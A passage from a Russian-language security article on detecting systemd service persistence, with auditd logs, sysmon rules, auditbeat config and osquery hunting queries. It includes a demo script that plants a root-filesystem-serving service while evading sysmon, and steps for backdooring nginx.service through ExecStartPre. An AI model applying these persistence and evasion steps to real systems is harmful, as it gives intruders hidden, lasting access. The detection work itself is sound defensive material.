\u043d\u0435\u0442 \u043d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0441\u0435\u0440\u0432\u0438\u0441\u0430.<\/p>\n<p>\u041f\u0440\u0438\u043c\u0435\u0440\u044b \u043b\u043e\u0433\u043e\u0432 auditd \u0432\u044b\u0433\u043b\u044f\u0434\u044f\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c:<\/p>\n<pre><code class=\"bash\">SYSCALL arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c  a1=55e618b75510 a2=241 a3=1b6 items=2 ppid=2719 pid=2738 auid=1000 uid=0 gid=0  euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=5 comm=\"bash\"  exe=\"\/usr\/bin\/bash\" subj==unconfined key=\"systemd\" PATH item=0 name=\"\/etc\/systemd\/system\/\" inode=90 dev=08:01 mode=040755 ouid=0  ogid=0 rdev=00:00 nametype=PARENT cap_fp=0000000000000000  cap_fi=0000000000000000 cap_fe=0 cap_fver=0 PATH item=1 name=\"\/etc\/systemd\/system\/bad_auditd_example.service\" inode=11867  dev=08:01 mode=0100644 ouid=0 ogid=0 rdev=00:00 nametype=CREATE  cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0 PROCTITLE proctitle=\"bash\"<\/code><\/pre>\n<p><strong>5.5 \u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043f\u0440\u0430\u0432\u0438\u043b sysmon<\/strong> <\/p>\n<p><strong>5.5.1 \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 sysmon <\/strong><\/p>\n<p>\u0414\u043b\u044f sysmon \u0432 \u0444\u0430\u0439\u043b\u0435 <a href=\"https:\/\/github.com\/microsoft\/MSTIC-Sysmon\/blob\/main\/linux\/configs\/attack-based\/persistence\/T1543.002_CreateModSystemProcess_Systemd.xml\" rel=\"noopener noreferrer nofollow\"><code>T1543.002_CreateModSystemProcess_Systemd.xml<\/code><\/a> \u043c\u043e\u0436\u043d\u043e \u0443\u0432\u0438\u0434\u0435\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e:  <\/p>\n<pre><code class=\"xml\">  &lt;FileCreate onmatch=\"include\"&gt;         &lt;Rule name=\"TechniqueID=T1543.002,TechniqueName=Create or Modify System Process: Systemd Service\" groupRelation=\"or\"&gt;           &lt;TargetFilename condition=\"begin with\"&gt;\/etc\/systemd\/system&lt;\/TargetFilename&gt;           &lt;TargetFilename condition=\"begin with\"&gt;\/usr\/lib\/systemd\/system&lt;\/TargetFilename&gt;           &lt;TargetFilename condition=\"begin with\"&gt;\/run\/systemd\/system\/&lt;\/TargetFilename&gt;           &lt;TargetFilename condition=\"contains\"&gt;\/systemd\/user\/&lt;\/TargetFilename&gt;         &lt;\/Rule&gt;       &lt;\/FileCreate&gt;<\/code><\/pre>\n<p> \u0410\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u043e \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u043c\u0443 \u0440\u0430\u0437\u0434\u0435\u043b\u0443, \u0434\u043b\u044f \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f metasploit \u044f \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430:  <\/p>\n<pre><code class=\"xml\">&lt;TargetFilename condition=\"begin with\"&gt;\/lib\/systemd\/system\/&lt;\/TargetFilename&gt;<\/code><\/pre>\n<p>\u041f\u0440\u0438\u043c\u0435\u0440 \u043b\u043e\u0433\u0430 sysmon:<\/p>\n<pre><code class=\"xml\">&lt;?xml version=\"1.0\"?&gt; &lt;Event&gt;   &lt;System&gt;     &lt;Provider Name=\"Linux-Sysmon\" Guid=\"{ff032593-a8d3-4f13-b0d6-01fc615a0f97}\"\/&gt;     &lt;EventID&gt;11&lt;\/EventID&gt;     &lt;Version&gt;2&lt;\/Version&gt;     &lt;Level&gt;4&lt;\/Level&gt;     &lt;Task&gt;11&lt;\/Task&gt;     &lt;Opcode&gt;0&lt;\/Opcode&gt;     &lt;Keywords&gt;0x8000000000000000&lt;\/Keywords&gt;     &lt;TimeCreated SystemTime=\"2022-01-30T09:55:21.054861000Z\"\/&gt;     &lt;EventRecordID&gt;20&lt;\/EventRecordID&gt;     &lt;Correlation\/&gt;     &lt;Execution ProcessID=\"2571\" ThreadID=\"2571\"\/&gt;     &lt;Channel&gt;Linux-Sysmon\/Operational&lt;\/Channel&gt;     &lt;Computer&gt;test-auditd2&lt;\/Computer&gt;     &lt;Security UserId=\"0\"\/&gt;   &lt;\/System&gt;   &lt;EventData&gt;     &lt;Data Name=\"RuleName\"&gt;TechniqueID=T1543.002,TechniqueName=Create or Modify Sys&lt;\/Data&gt;     &lt;Data Name=\"UtcTime\"&gt;2022-01-30 09:55:21.062&lt;\/Data&gt;     &lt;Data Name=\"ProcessGuid\"&gt;{f4c1cbc8-6089-61f6-8d07-9717e6550000}&lt;\/Data&gt;     &lt;Data Name=\"ProcessId\"&gt;2738&lt;\/Data&gt;     &lt;Data Name=\"Image\"&gt;\/usr\/bin\/bash&lt;\/Data&gt;     &lt;Data Name=\"TargetFilename\"&gt;\/etc\/systemd\/system\/bad_sysmon_example.service&lt;\/Data&gt;     &lt;Data Name=\"CreationUtcTime\"&gt;2022-01-30 09:55:21.062&lt;\/Data&gt;     &lt;Data Name=\"User\"&gt;root&lt;\/Data&gt;   &lt;\/EventData&gt; &lt;\/Event&gt;<\/code><\/pre>\n<p><strong>5.5.2 \u041e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043f\u0440\u0430\u0432\u0438\u043b sysmon<\/strong><\/p>\n<p>\u0421\u0442\u043e\u0438\u0442 \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u0442\u0430\u043a\u0438\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u044b \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0444\u0430\u0439\u043b\u043e\u0432. \u041d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u043d\u0435 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442, \u0435\u0441\u043b\u0438:<\/p>\n<ul>\n<li>\n<p>\u0444\u0430\u0439\u043b <code>bad.service<\/code> \u0441\u043e\u0437\u0434\u0430\u0451\u0442\u0441\u044f \u0432\u043d\u0435 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430, \u0430 \u0437\u0430\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0430\u0435\u0442\u0441\u044f \u0432 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u044e systemd<\/p>\n<\/li>\n<li>\n<p>\u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u0443\u0436\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0433\u043e \u0444\u0430\u0439\u043b\u0430<\/p>\n<\/li>\n<\/ul>\n<p>\u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0435 \u0432\u044b\u0448\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 sysmon \u043d\u0435 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u043d\u0430 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0441\u043a\u0440\u0438\u043f\u0442 (\u0432 \u0442\u043e \u0432\u0440\u0435\u043c\u044f \u043a\u0430\u043a \u043f\u0440\u0430\u0432\u0438\u043b\u0430 auditd \u0435\u0433\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0430\u0442).<\/p>\n<pre><code class=\"bash\">cat &gt; \/tmp\/bad_sysmon.service &lt;&lt; EOF [Unit] Description=Example of bad service  [Service] ExecStart=python3 -m http.server --directory \/ 9998  [Install] WantedBy=multi-user.target  EOF  mv \/tmp\/bad_sysmon.service \/etc\/systemd\/system\/bad_sysmon.service ln -s \/etc\/systemd\/system\/bad_sysmon.service \/tmp\/bad_sysmon.service mv \/tmp\/bad_sysmon.service \/etc\/systemd\/system\/multi- user.target.wants\/bad_sysmon.service<\/code><\/pre>\n<p><strong>5.6 \u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e auditbeats<\/strong><\/p>\n<p>\u041a\u043e\u043d\u0435\u0447\u043d\u043e, \u043a\u0430\u043a \u0438 auditd, \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0432 auditbeats \u0434\u043b\u044f \u044d\u0442\u043e\u0439 \u0437\u0430\u0434\u0430\u0447\u0438. \u041e\u0434\u043d\u0430\u043a\u043e \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0443\u0447\u0438\u0442\u044b\u0432\u0430\u0442\u044c, \u0447\u0442\u043e \u0432 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0439 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 auditbeats \u0444\u0430\u0439\u043b\u044b systemd \u043d\u0435 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u044e\u0442\u0441\u044f [<a href=\"https:\/\/www.elastic.co\/guide\/en\/beats\/auditbeat\/6.8\/auditbeat-module-file_integrity.html\" rel=\"noopener noreferrer nofollow\">Auditbeat File Integrity Module<\/a>].<\/p>\n<p>\u0425\u043e\u0442\u044f \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043a\u0430\u0442\u0430\u043b\u043e\u0433 <code>\/etc\/<\/code>, \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 <code>recursive<\/code> \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d \u0432 <code>false<\/code>. \u042d\u0442\u043e \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e <code>\/etc\/systemd<\/code> \u043d\u0435 \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u0442\u0441\u044f. \u041d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043b\u0438\u0431\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c <code>recursive: true<\/code>, \u043b\u0438\u0431\u043e \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0435 \u043d\u0430\u043c\u0438 \u043f\u0443\u0442\u0438 \u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044e.<\/p>\n<pre><code class=\"xml\">- module: file_integrity   paths:   - \/bin   - \/usr\/bin   - \/sbin   - \/usr\/sbin   - \/etc   - \/etc\/systemd\/system   - \/lib\/systemd\/system   - \/usr\/lib\/systemd\/system   # recursive: true<\/code><\/pre>\n<p> \u0415\u0441\u043b\u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0430 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e, \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u0430 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b <code>systemctl daemon-reload<\/code> \u0434\u043e\u043b\u0436\u043d\u044b \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u0437\u0430\u043f\u0438\u0441\u044f\u043c \u0432 \u043b\u043e\u0433\u0430\u0445:  <\/p>\n<figure class=\"full-width\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/fde\/d6d\/9d1\/fded6d9d179dceaaaee764ecabb0ad61.png\" width=\"1467\" height=\"163\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/getpro\/habr\/upload_files\/fde\/d6d\/9d1\/fded6d9d179dceaaaee764ecabb0ad61.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/fde\/d6d\/9d1\/fded6d9d179dceaaaee764ecabb0ad61.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/figure>\n<p><strong>5.7 \u041f\u043e\u0438\u0441\u043a \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e osquery<\/strong> <\/p>\n<p><strong>5.7.1 \u0421\u043f\u0438\u0441\u043e\u043a unit-\u0444\u0430\u0439\u043b\u043e\u0432 systemd \u0441 \u0445\u0435\u0448\u0430\u043c\u0438<\/strong><\/p>\n<p>\u0417\u0434\u0435\u0441\u044c \u043c\u044b \u0438\u0449\u0435\u043c \u0441\u0435\u0440\u0432\u0438\u0441\u044b: <\/p>\n<pre><code class=\"sql\">SELECT id, description, fragment_path, md5   FROM systemd_units  JOIN hash ON (hash.path = systemd_units.fragment_path)  WHERE id LIKE \"%service\";<\/code><\/pre>\n<figure class=\"full-width\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/748\/ecf\/868\/748ecf8686a06298a8e771e5c815b534.png\" width=\"1833\" height=\"315\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/getpro\/habr\/upload_files\/748\/ecf\/868\/748ecf8686a06298a8e771e5c815b534.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/748\/ecf\/868\/748ecf8686a06298a8e771e5c815b534.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/figure>\n<p><strong>5.7.2 \u0421\u043f\u0438\u0441\u043e\u043a \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432, \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044e\u0449\u0438\u0445\u0441\u044f \u043f\u0440\u0438 \u0441\u0442\u0430\u0440\u0442\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b <\/strong><\/p>\n<pre><code class=\"sql\">SELECT name, source, path, status, md5 FROM startup_items  JOIN hash  USING(path) WHERE path LIKE \"%.service\"  AND status = \"inactive\" ORDER BY name;<\/code><\/pre>\n<p>\u042d\u0442\u043e\u0442 \u0437\u0430\u043f\u0440\u043e\u0441 \u0432\u0435\u0440\u043d\u0451\u0442 \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u044b \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0441 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435\u043c *.service \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 \u0438\u0445 \u043f\u0443\u0442\u044f\u043c\u0438 \u0438 \u0445\u0435\u0448\u0430\u043c\u0438. \u042d\u0442\u043e \u0442\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0434\u043b\u044f \u0430\u0432\u0442\u043e\u0437\u0430\u043f\u0443\u0441\u043a\u0430.<\/p>\n<figure class=\"full-width\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/e7d\/8ef\/238\/e7d8ef238738ef11cbbd4d311ed5175c.png\" width=\"1577\" height=\"399\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/getpro\/habr\/upload_files\/e7d\/8ef\/238\/e7d8ef238738ef11cbbd4d311ed5175c.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/e7d\/8ef\/238\/e7d8ef238738ef11cbbd4d311ed5175c.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/figure>\n<p><strong>5.7.3 \u0421\u043f\u0438\u0441\u043e\u043a \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432, \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0445 systemd<\/strong> <\/p>\n<p>\u0421\u0435\u0440\u0432\u0438\u0441\u044b, \u0437\u0430\u043f\u0443\u0449\u0435\u043d\u043d\u044b\u0435 systemd, \u0431\u0443\u0434\u0443\u0442 \u0438\u043c\u0435\u0442\u044c \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 \u0440\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 (PID) \u0440\u0430\u0432\u043d\u044b\u0439 1. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0442\u0430\u043a\u0436\u0435 \u0438\u0441\u043a\u0430\u0442\u044c \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b \u0441 \u0440\u043e\u0434\u0438\u0442\u0435\u043b\u0435\u043c PID = 1. \u041a\u0430\u043a \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a [<a href=\"https:\/\/redcanary.com\/blog\/attck-t1501-understanding-systemd-service-persistence\/\" rel=\"noopener noreferrer nofollow\">ATT&amp;CK T1501: Understanding systemd service persistence<\/a>], \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044e\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 python, bash \u0438\u043b\u0438 sh.  <\/p>\n<pre><code class=\"sql\">SELECT pid, name, path, cmdline, uid FROM processes WHERE parent = 1<\/code><\/pre>\n<figure class=\"full-width\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/31f\/2b5\/cfc\/31f2b5cfc3866e639a182e8463a599f9.png\" width=\"1769\" height=\"257\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/getpro\/habr\/upload_files\/31f\/2b5\/cfc\/31f2b5cfc3866e639a182e8463a599f9.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/31f\/2b5\/cfc\/31f2b5cfc3866e639a182e8463a599f9.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/figure>\n<p><strong>5.7.4 \u0421\u043f\u0438\u0441\u043e\u043a \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432 \u0441 \u043e\u0448\u0438\u0431\u043a\u0430\u043c\u0438<\/strong><\/p>\n<p>\u0415\u0441\u043b\u0438 \u0431\u044d\u043a\u0434\u043e\u0440 \u0431\u044b\u043b \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e, \u0441\u0435\u0440\u0432\u0438\u0441 \u043c\u043e\u0436\u0435\u0442 \u043d\u0435 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c\u0441\u044f \u0438 \u043f\u0435\u0440\u0435\u0439\u0442\u0438 \u0432 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u043e\u0448\u0438\u0431\u043a\u0438.  <\/p>\n<pre><code class=\"sql\">SELECT id, description, fragment_path, sub_state, md5   FROM systemd_units  JOIN hash  ON (hash.path = systemd_units.fragment_path)  WHERE sub_state='failed';<\/code><\/pre>\n<figure class=\"full-width\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/b82\/d5f\/7b0\/b82d5f7b0a2b8e01d634f9733637074e.png\" width=\"1643\" height=\"131\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/getpro\/habr\/upload_files\/b82\/d5f\/7b0\/b82d5f7b0a2b8e01d634f9733637074e.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/b82\/d5f\/7b0\/b82d5f7b0a2b8e01d634f9733637074e.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/figure>\n<p><strong>5.8 \u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0437\u0430\u043c\u0435\u0442\u043a\u0438: \u043c\u043e\u0434\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432<\/strong><\/p>\n<p>\u0412\u043c\u0435\u0441\u0442\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u043d\u043e\u0432\u043e\u0433\u043e systemd-\u0441\u0435\u0440\u0432\u0438\u0441\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u043e\u0441\u0442\u043e \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u0443\u0436\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u044b. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043e\u043d \u043c\u043e\u0436\u0435\u0442:<\/p>\n<ul>\n<li>\n<p>\u0418\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 <code>.service<\/code> \u0444\u0430\u0439\u043b\u044b<\/p>\n<\/li>\n<li>\n<p>\u041f\u0435\u0440\u0435\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 <code>.service<\/code> \u0444\u0430\u0439\u043b\u044b<\/p>\n<\/li>\n<li>\n<p>\u0418\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0435 \u0444\u0430\u0439\u043b\u044b, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u043c<\/p>\n<\/li>\n<\/ul>\n<p>\u0414\u043e\u043f\u0443\u0441\u0442\u0438\u043c, \u043d\u0430\u0448\u0430 \u0446\u0435\u043b\u044c \u2014 \u0441\u0435\u0440\u0432\u0438\u0441 nginx. \u0427\u0442\u043e\u0431\u044b \u0443\u0437\u043d\u0430\u0442\u044c, \u0433\u0434\u0435 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0444\u0430\u0439\u043b <code>nginx.service<\/code>, \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u0443:<\/p>\n<pre><code class=\"bash\">$ systemctl status nginx \u25cf nginx.service - A high performance web server and a reverse proxy server    Loaded: loaded (\/lib\/systemd\/system\/nginx.service; enabled; vendor preset: enabled)<\/code><\/pre>\n<p>\u041c\u044b \u0445\u043e\u0442\u0438\u043c \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u0444\u0430\u0439\u043b <code>\/lib\/systemd\/system\/nginx.service<\/code>. \u0415\u0441\u043b\u0438 \u043c\u044b \u0445\u043e\u0442\u0438\u043c \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0434\u043e\u043b\u0433\u043e\u0436\u0438\u0432\u0443\u0449\u0438\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u043d\u0435 \u043f\u0440\u0435\u0440\u044b\u0432\u0430\u044f \u0440\u0430\u0431\u043e\u0442\u0443 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 nginx, \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u0438\u0440\u0435\u043a\u0442\u0438\u0432\u0443 <strong>ExecStartPre<\/strong>, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u043f\u0435\u0440\u0435\u0434 \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u043c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u043c.<\/p>\n<pre><code class=\"xml\">... [Service] Type=forking PIDFile=\/run\/nginx.pid ExecStartPre=\/usr\/sbin\/nginx -t -q -g 'daemon on; master_process on;' ExecStartPre=\/root\/run.sh # &lt;------------- ADD THIS ExecStart=\/usr\/sbin\/nginx -g 'daemon on; master_process on;' ...<\/code><\/pre>\n<p><code>systemd <\/code>\u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0434\u0438\u0440\u0435\u043a\u0442\u0438\u0432 <strong>ExecStartPre<\/strong>, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0437\u0430\u043f\u0443\u0441\u043a \u0441\u043a\u0440\u0438\u043f\u0442\u0430. \u041f\u0440\u0438\u043c\u0435\u0440 \u0448\u0430\u0431\u043b\u043e\u043d\u0430 \u0434\u043b\u044f <code>\/root\/run.sh<\/code> \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u0442\u044c \u0442\u0430\u043a: <\/p>\n<pre><code class=\"bash\">#! \/bin\/bash  &lt;COMMAND&gt; 2&gt;\/dev\/null &gt;\/dev\/null &amp; disown  <\/code><\/pre>\n<p>\u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u043f\u0440\u0438 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u043c \u0437\u0430\u043f\u0443\u0441\u043a\u0435 nginx (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438) \u0441\u043a\u0440\u0438\u043f\u0442 <code>run.sh<\/code> \u0442\u0430\u043a\u0436\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u0441\u044f.<\/p>\n<p>\u0415\u0441\u043b\u0438 \u0436\u0435 \u043d\u0443\u0436\u043d\u043e \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0441\u0435\u0440\u0432\u0438\u0441 \u0432\u0440\u0443\u0447\u043d\u0443\u044e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u0430:<\/p>\n<pre><code class=\"bash\">systemctl daemon-reload systemctl restart nginx<\/code><\/pre>\n<p>\u0423 \u043d\u0430\u0441 \u0435\u0441\u0442\u044c 